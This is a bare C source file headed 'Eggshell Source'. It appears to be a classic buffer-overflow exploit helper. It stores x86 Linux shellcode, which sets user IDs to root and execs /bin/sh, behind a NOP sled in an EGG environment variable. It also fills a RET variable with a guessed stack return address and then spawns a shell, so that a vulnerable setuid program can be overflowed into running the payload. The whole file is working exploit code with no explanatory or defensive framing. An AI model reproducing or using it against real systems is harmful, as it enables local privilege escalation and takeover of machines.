[C] Eggshell Source

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
#define DEFAULT_OFFSET          0
#define DEFAULT_BUFFER_SIZE     256
#define DEFAULT_EGG_SIZE        2048
#define NOP             0x90
 
char shellcode[] = "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80""\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b""\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd""\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {
    __asm__("movl %esp, %eax");
}
int main(int argc, char **argv) {
    char    *buff, *ptr, *egg;
    long    *addr_ptr, addr;
    int     offset = DEFAULT_OFFSET, bsize = DEFAULT_BUFFER_SIZE;
    int     i, eggsize = DEFAULT_EGG_SIZE;
 
    if (argc > 1)
        bsize = atoi(argv[1]);
    if (argc > 2)
        offset = atoi(argv[2]);
    if (argc > 3)
        eggsize = atoi(argv[3]);
 
    if (!(buff = malloc(bsize))) {
        printf("Can't allocate memory for bsize\n"); exit(0);
    }
 
    if (!(egg = malloc(eggsize))) {
        printf("Can't allocate memory for eggsize"); exit(0);
    }
 
    addr = get_sp() - offset;
    printf("Using address: 0x%x\n", addr);
 
    ptr = buff;
    addr_ptr = (long *)ptr;
    for (i = 0; i < bsize; i += 4)
        *(addr_ptr++) = addr;
 
    ptr = egg;
    for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
        *(ptr++) = NOP;
 
    for (i = 0; i < strlen(shellcode); i++)
        *(ptr++) = shellcode[i];
 
    buff[bsize - 1] = '\0';
    egg[eggsize - 1] = '\0';
 
    memcpy(egg, "EGG=", 4);
    putenv(egg);
    memcpy(buff, "RET=", 4);
    putenv(buff);
 
    system("/bin/sh");
}